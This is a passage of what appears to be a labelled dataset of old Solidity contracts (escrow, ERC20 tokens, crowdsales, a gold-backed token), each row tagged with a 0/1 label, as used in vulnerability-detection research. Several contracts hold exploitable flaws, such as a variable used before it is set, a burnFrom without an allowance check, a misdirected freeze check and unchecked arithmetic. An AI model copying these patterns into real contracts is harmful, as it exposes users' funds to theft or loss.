) external onlyArbitrator {
address _signature = recoverAddress(keccak256(abi.encodePacked(
_tradeID,
INSTRUCTION_RESOLVE
)), _v, _r, _s);
require(_signature == _buyer || _signature == _seller, "Must be buyer or seller");
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
require(_escrow.exists, "Escrow does not exist");
require(_buyerPercent <= 100, "_buyerPercent must be 100 or lower");
uint256 _totalFees = _escrow.totalGasFeesSpentByRelayer + (GAS_doResolveDispute * uint128(tx.gasprice));
require(_value - _totalFees <= _value, "Overflow error");
feesAvailableForWithdraw += _totalFees;
delete escrows[_tradeHash];
emit DisputeResolved(_tradeHash);
if (_buyerPercent > 0)
_buyer.transfer((_value - _totalFees) * _buyerPercent / 100);
if (_buyerPercent < 100)
_seller.transfer((_value - _totalFees) * (100 - _buyerPercent) / 100);
}
function release(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) external returns (bool){
require(msg.sender == _seller, "Must be seller");
return doRelease(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function disableSellerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) external returns (bool) {
require(msg.sender == _buyer, "Must be buyer");
return doDisableSellerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function buyerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) external returns (bool) {
require(msg.sender == _buyer, "Must be buyer");
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function sellerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) external returns (bool) {
require(msg.sender == _seller, "Must be seller");
return doSellerCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
function sellerRequestCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) external returns (bool) {
require(msg.sender == _seller, "Must be seller");
return doSellerRequestCancel(_tradeID, _seller, _buyer, _value, _fee, 0);
}
uint16 constant GAS_batchRelayBaseCost = 28500;
function batchRelay(
bytes16[] _tradeID,
address[] _seller,
address[] _buyer,
uint256[] _value,
uint16[] _fee,
uint128[] _maximumGasPrice,
uint8[] _v,
bytes32[] _r,
bytes32[] _s,
uint8[] _instructionByte
) public returns (bool[]) {
bool[] memory _results = new bool[](_tradeID.length);
uint128 _additionalGas = uint128(msg.sender == relayer ? GAS_batchRelayBaseCost / _tradeID.length : 0);
for (uint8 i=0; i<_tradeID.length; i++) {
_results[i] = relay(
_tradeID[i],
_seller[i],
_buyer[i],
_value[i],
_fee[i],
_maximumGasPrice[i],
_v[i],
_r[i],
_s[i],
_instructionByte[i],
_additionalGas
);
}
return _results;
}
function withdrawFees(address _to, uint256 _amount) onlyOwner external {
require(_amount <= feesAvailableForWithdraw, "Amount is higher than amount available");
feesAvailableForWithdraw -= _amount;
_to.transfer(_amount);
}
function setArbitrator(address _newArbitrator) onlyOwner external {
arbitrator = _newArbitrator;
}
function setOwner(address _newOwner) onlyOwner external {
owner = _newOwner;
}
function setRelayer(address _newRelayer) onlyOwner external {
relayer = _newRelayer;
}
function setRequestCancellationMinimumTime(
uint32 _newRequestCancellationMinimumTime
) onlyOwner external {
requestCancellationMinimumTime = _newRequestCancellationMinimumTime;
}
function transferToken(
Token _tokenContract,
address _transferTo,
uint256 _value
) onlyOwner external {
_tokenContract.transfer(_transferTo, _value);
}
function transferTokenFrom(
Token _tokenContract,
address _transferTo,
address _transferFrom,
uint256 _value
) onlyOwner external {
_tokenContract.transferFrom(_transferTo, _transferFrom, _value);
}
function approveToken(
Token _tokenContract,
address _spender,
uint256 _value
) onlyOwner external {
_tokenContract.approve(_spender, _value);
}
function relay(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _maximumGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s,
uint8 _instructionByte,
uint128 _additionalGas
) private returns (bool) {
address _relayedSender = getRelayedSender(
_tradeID,
_instructionByte,
_maximumGasPrice,
_v,
_r,
_s
);
if (_relayedSender == _buyer) {
if (_instructionByte == INSTRUCTION_SELLER_CANNOT_CANCEL) {
return doDisableSellerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_instructionByte == INSTRUCTION_BUYER_CANCEL) {
return doBuyerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else if (_relayedSender == _seller) {
if (_instructionByte == INSTRUCTION_RELEASE) {
return doRelease(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_instructionByte == INSTRUCTION_SELLER_CANCEL) {
return doSellerCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
} else if (_instructionByte == INSTRUCTION_SELLER_REQUEST_CANCEL){
return doSellerRequestCancel(_tradeID, _seller, _buyer, _value, _fee, _additionalGas);
}
} else {
require(msg.sender == _seller, "Unrecognised party");
return false;
}
}
function increaseGasSpent(bytes32 _tradeHash, uint128 _gas) private {
escrows[_tradeHash].totalGasFeesSpentByRelayer += _gas * uint128(tx.gasprice);
}
function transferMinusFees(
address _to,
uint256 _value,
uint128 _totalGasFeesSpentByRelayer,
uint16 _fee
) private {
uint256 _totalFees = (_value * _fee / 10000) + _totalGasFeesSpentByRelayer;
if(_value - _totalFees > _value) {
return;
}
feesAvailableForWithdraw += _totalFees;
_to.transfer(_value - _totalFees);
}
uint16 constant GAS_doRelease = 46588;
function doRelease(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas
) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer
+ (msg.sender == relayer
? (GAS_doRelease + _additionalGas ) * uint128(tx.gasprice)
: 0
);
delete escrows[_tradeHash];
emit Released(_tradeHash);
transferMinusFees(_buyer, _value, _gasFees, _fee);
return true;
}
uint16 constant GAS_doDisableSellerCancel = 28944;
function doDisableSellerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas
) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) return false;
if(_escrow.sellerCanCancelAfter == 0) return false;
escrows[_tradeHash].sellerCanCancelAfter = 0;
emit SellerCancelDisabled(_tradeHash);
if (msg.sender == relayer) {
increaseGasSpent(_tradeHash, GAS_doDisableSellerCancel + _additionalGas);
}
return true;
}
uint16 constant GAS_doBuyerCancel = 46255;
function doBuyerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas
) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) {
return false;
}
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer
+ (msg.sender == relayer
? (GAS_doBuyerCancel + _additionalGas ) * uint128(tx.gasprice)
: 0
);
delete escrows[_tradeHash];
emit CancelledByBuyer(_tradeHash);
transferMinusFees(_seller, _value, _gasFees, 0);
return true;
}
uint16 constant GAS_doSellerCancel = 46815;
function doSellerCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas
) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) {
return false;
}
if(_escrow.sellerCanCancelAfter <= 1 || _escrow.sellerCanCancelAfter > block.timestamp) {
return false;
}
uint128 _gasFees = _escrow.totalGasFeesSpentByRelayer
+ (msg.sender == relayer
? (GAS_doSellerCancel + _additionalGas ) * uint128(tx.gasprice)
: 0
);
delete escrows[_tradeHash];
emit CancelledBySeller(_tradeHash);
transferMinusFees(_seller, _value, _gasFees, 0);
return true;
}
uint16 constant GAS_doSellerRequestCancel = 29507;
function doSellerRequestCancel(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee,
uint128 _additionalGas
) private returns (bool) {
Escrow memory _escrow;
bytes32 _tradeHash;
(_escrow, _tradeHash) = getEscrowAndHash(_tradeID, _seller, _buyer, _value, _fee);
if (!_escrow.exists) {
return false;
}
if(_escrow.sellerCanCancelAfter != 1) {
return false;
}
escrows[_tradeHash].sellerCanCancelAfter = uint32(block.timestamp)
+ requestCancellationMinimumTime;
emit SellerRequestedCancel(_tradeHash);
if (msg.sender == relayer) {
increaseGasSpent(_tradeHash, GAS_doSellerRequestCancel + _additionalGas);
}
return true;
}
function getRelayedSender(
bytes16 _tradeID,
uint8 _instructionByte,
uint128 _maximumGasPrice,
uint8 _v,
bytes32 _r,
bytes32 _s
) view private returns (address) {
bytes32 _hash = keccak256(abi.encodePacked(
_tradeID,
_instructionByte,
_maximumGasPrice
));
if(tx.gasprice > _maximumGasPrice) {
return;
}
return recoverAddress(_hash, _v, _r, _s);
}
function getEscrowAndHash(
bytes16 _tradeID,
address _seller,
address _buyer,
uint256 _value,
uint16 _fee
) view private returns (Escrow, bytes32) {
bytes32 _tradeHash = keccak256(abi.encodePacked(
_tradeID,
_seller,
_buyer,
_value,
_fee
));
return (escrows[_tradeHash], _tradeHash);
}
function recoverAddress(
bytes32 _h,
uint8 _v,
bytes32 _r,
bytes32 _s
) private pure returns (address) {
bytes memory _prefix = "\x19Ethereum Signed Message:\n32";
bytes32 _prefixedHash = keccak256(abi.encodePacked(_prefix, _h));
return ecrecover(_prefixedHash, _v, _r, _s);
}
} | 0 | 1,396 |
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals=18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
constructor() public
{
uint256 initialSupply =10000000000;
string memory tokenName ="BEEREX";
string memory tokenSymbol="BRX";
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
} | 1 | 3,584 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
interface Token {
function transfer(address _to, uint256 _value) returns (bool);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
Token public token;
uint256 public constant RATE = 99;
uint256 public constant CAP = 101;
uint256 public constant START = 1510398671;
uint256 public constant DAYS = 11;
uint256 public constant initialTokens = 9999 * 10**18;
bool public initialized = false;
uint256 public raisedAmount = 0;
event BoughtTokens(address indexed to, uint256 value);
modifier whenSaleIsActive() {
assert(isActive());
_;
}
function Crowdsale(address _tokenAddr) {
require(_tokenAddr != 0);
token = Token(_tokenAddr);
}
function initialize() onlyOwner {
require(initialized == false);
require(tokensAvailable() == initialTokens);
initialized = true;
}
function isActive() constant returns (bool) {
return (
initialized == true &&
now >= START &&
now <= START.add(DAYS * 1 days) &&
goalReached() == false
);
}
function goalReached() constant returns (bool) {
return (raisedAmount >= CAP * 1 ether);
}
function () payable {
buyTokens();
}
function buyTokens() payable whenSaleIsActive {
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(RATE);
BoughtTokens(msg.sender, tokens);
raisedAmount = raisedAmount.add(msg.value);
token.transfer(msg.sender, tokens);
owner.transfer(msg.value);
}
function tokensAvailable() constant returns (uint256) {
return token.balanceOf(this);
}
function destroy() onlyOwner {
uint256 balance = token.balanceOf(this);
assert(balance > 0);
token.transfer(owner, balance);
selfdestruct(owner);
}
} | 1 | 3,823 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract MyTokenEVC is owned {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function MyTokenEVC() public {
totalSupply = 0 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "MyTokenEVC 1";
symbol = "MEVC1";
}
function name() public constant returns (string _name) {
return name;
}
function symbol() public constant returns (string _symbol) {
return symbol;
}
function decimals() public constant returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public constant returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public constant returns (uint256 _balance) {
return balanceOf[_owner];
}
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function freezeAccount (address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[msg.sender]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
function mintToken(uint256 mintedAmount) onlyOwner public {
balanceOf[this] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
}
} | 1 | 4,120 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenDestructible is Ownable {
function TokenDestructible() payable { }
function destroy(address[] tokens) onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract StupidCoin is StandardToken, Ownable, TokenDestructible {
string public name = "StupidCoin";
uint8 public decimals = 18;
string public symbol = "STPD";
string public version = "1.0";
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract StupidCrowdsale is Ownable, Pausable, TokenDestructible {
using SafeMath for uint256;
StupidCoin public token;
uint256 constant public START = 1514764800;
uint256 constant public END = 1517250730;
uint256 public tokensLeft = 100000000000000000000000000;
address public wallet = 0x38489489663b56D2A3037C7F1B517D258A34f883;
address public bountyWallet = 0x0dF09Bc91943D0b2FEC08A8C8d2065d5c3C577E0;
uint256 public weiRaised;
bool public bountyDistributed;
function StupidCrowdsale() payable {
token = new StupidCoin();
}
function getRate() constant returns (uint8) {
if (block.timestamp < START) return 200;
else if (block.timestamp <= START + 14 days) return 167;
else if (block.timestamp <= START + 28 days) return 133;
return 100;
}
function () payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused() payable {
require(beneficiary != 0x0);
require(msg.value != 0);
require(block.timestamp <= END);
uint256 tokens = weiAmount.mul(getRate() * 4);
if (tokensLeft.sub(tokens) < 0) revert();
tokensLeft = tokensLeft.sub(tokens);
uint256 weiAmount = msg.value;
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
wallet.transfer(msg.value);
}
function distributeBounty() onlyOwner {
require(!bountyDistributed);
require(block.timestamp >= END);
uint256 amount = weiRaised.div(100).mul(10);
token.mint(bountyWallet, amount);
bountyDistributed = true;
}
function finishMinting() onlyOwner returns (bool) {
require(bountyDistributed);
require(block.timestamp >= END);
return token.finishMinting();
}
} | 0 | 1,549 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GoldFees is Ownable {
using SafeMath for uint256;
uint rateN = 9999452054794520548;
uint rateD = 19;
uint public maxDays;
uint public maxRate;
function GoldFees() public {
calcMax();
}
function calcMax() internal {
maxDays = 1;
maxRate = rateN;
uint pow = 2;
do {
uint newN = rateN ** pow;
if (newN / maxRate != maxRate) {
maxDays = pow / 2;
break;
}
maxRate = newN;
pow *= 2;
} while (pow < 2000);
}
function updateRate(uint256 _n, uint256 _d) public onlyOwner {
rateN = _n;
rateD = _d;
calcMax();
}
function rateForDays(uint256 numDays) public view returns (uint256 rate) {
if (numDays <= maxDays) {
uint r = rateN ** numDays;
uint d = rateD * numDays;
if (d > 18) {
uint div = 10 ** (d-18);
rate = r / div;
} else {
div = 10 ** (18 - d);
rate = r * div;
}
} else {
uint256 md1 = numDays / 2;
uint256 md2 = numDays - md1;
uint256 r2;
uint256 r1 = rateForDays(md1);
if (md1 == md2) {
r2 = r1;
} else {
r2 = rateForDays(md2);
}
rate = r1.mul(r2)/(10**18);
}
return;
}
uint256 constant public UTC2MYT = 1483200000;
function wotDay(uint256 time) public pure returns (uint256) {
return (time - UTC2MYT) / (1 days);
}
function calcFees(uint256 start, uint256 end, uint256 startAmount) public view returns (uint256 amount, uint256 fee) {
if (startAmount == 0)
return;
uint256 numberOfDays = wotDay(end) - wotDay(start);
if (numberOfDays == 0) {
amount = startAmount;
return;
}
amount = (rateForDays(numberOfDays) * startAmount) / (1 ether);
if ((fee == 0) && (amount != 0))
amount--;
fee = startAmount.sub(amount);
}
}
contract Reclaimable is Ownable {
ERC20Basic constant internal RECLAIM_ETHER = ERC20Basic(0x0);
function reclaim(ERC20Basic token)
public
onlyOwner
{
address reclaimer = msg.sender;
if (token == RECLAIM_ETHER) {
reclaimer.transfer(this.balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
contract GBTBasic {
struct Balance {
uint256 amount;
uint256 lastUpdated;
uint256 nextAllocationIndex;
uint256 allocationShare;
}
mapping (address => Balance) public balances;
struct Allocation {
uint256 amount;
uint256 date;
}
Allocation[] public allocationsOverTime;
Allocation[] public currentAllocations;
function currentAllocationLength() view public returns (uint256) {
return currentAllocations.length;
}
function aotLength() view public returns (uint256) {
return allocationsOverTime.length;
}
}
contract GoldBackedToken is Ownable, ERC20, Pausable, GBTBasic, Reclaimable {
using SafeMath for uint;
function GoldBackedToken(GoldFees feeCalc, GBTBasic _oldToken) public {
uint delta = 3799997201200178500814753;
feeCalculator = feeCalc;
oldToken = _oldToken;
uint x;
for (x = 0; x < oldToken.aotLength(); x++) {
Allocation memory al;
(al.amount, al.date) = oldToken.allocationsOverTime(x);
allocationsOverTime.push(al);
}
allocationsOverTime[3].amount = allocationsOverTime[3].amount.sub(delta);
for (x = 0; x < oldToken.currentAllocationLength(); x++) {
(al.amount, al.date) = oldToken.currentAllocations(x);
al.amount = al.amount.sub(delta);
currentAllocations.push(al);
}
mintedGBT.date = 1515700247;
mintedGBT.amount = 1529313490861692541644;
}
function totalSupply() view public returns (uint256) {
uint256 minted;
uint256 mFees;
uint256 uminted;
uint256 umFees;
uint256 allocated;
uint256 aFees;
(minted,mFees) = calcFees(mintedGBT.date,now,mintedGBT.amount);
(uminted,umFees) = calcFees(unmintedGBT.date,now,unmintedGBT.amount);
(allocated,aFees) = calcFees(currentAllocations[0].date,now,currentAllocations[0].amount);
if (minted+allocated>uminted) {
return minted.add(allocated).sub(uminted);
} else {
return 0;
}
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
event DeductFees(address indexed owner,uint256 amount);
event TokenMinted(address destination, uint256 amount);
event TokenBurned(address source, uint256 amount);
string public name = "GOLDX";
string public symbol = "GOLDX";
uint256 constant public decimals = 18;
uint256 constant public hgtDecimals = 8;
uint256 constant public allocationPool = 1 * 10**9 * 10**hgtDecimals;
uint256 public maxAllocation = 38 * 10**5 * 10**decimals;
uint256 public totAllocation;
GoldFees public feeCalculator;
address public HGT;
function updateMaxAllocation(uint256 newMax) public onlyOwner {
require(newMax > 38 * 10**5 * 10**decimals);
maxAllocation = newMax;
}
function setFeeCalculator(GoldFees newFC) public onlyOwner {
feeCalculator = newFC;
}
function calcFees(uint256 from, uint256 to, uint256 amount) view public returns (uint256 val, uint256 fee) {
return feeCalculator.calcFees(from,to,amount);
}
mapping (address => mapping (address => uint)) public allowance;
mapping (address => bool) updated;
GBTBasic oldToken;
function migrateBalance(address where) public {
if (!updated[where]) {
uint256 am;
uint256 lu;
uint256 ne;
uint256 al;
(am,lu,ne,al) = oldToken.balances(where);
balances[where] = Balance(am,lu,ne,al);
updated[where] = true;
}
}
function update(address where) internal {
uint256 pos;
uint256 fees;
uint256 val;
migrateBalance(where);
(val,fees,pos) = updatedBalance(where);
balances[where].nextAllocationIndex = pos;
balances[where].amount = val;
balances[where].lastUpdated = now;
}
function updatedBalance(address where) view public returns (uint val, uint fees, uint pos) {
uint256 cVal;
uint256 cFees;
uint256 cAmount;
uint256 am;
uint256 lu;
uint256 ne;
uint256 al;
Balance memory bb;
if (updated[where]) {
bb = balances[where];
am = bb.amount;
lu = bb.lastUpdated;
ne = bb.nextAllocationIndex;
al = bb.allocationShare;
} else {
(am,lu,ne,al) = oldToken.balances(where);
}
(val,fees) = calcFees(lu,now,am);
pos = ne;
if ((pos < currentAllocations.length) && (al != 0)) {
cAmount = currentAllocations[ne].amount.mul(al).div( allocationPool);
(cVal,cFees) = calcFees(currentAllocations[ne].date,now,cAmount);
}
val = val.add(cVal);
fees = fees.add(cFees);
pos = currentAllocations.length;
}
function balanceOf(address where) view public returns (uint256 val) {
uint256 fees;
uint256 pos;
(val,fees,pos) = updatedBalance(where);
return ;
}
event GoldAllocation(uint256 amount, uint256 date);
event FeeOnAllocation(uint256 fees, uint256 date);
event PartComplete();
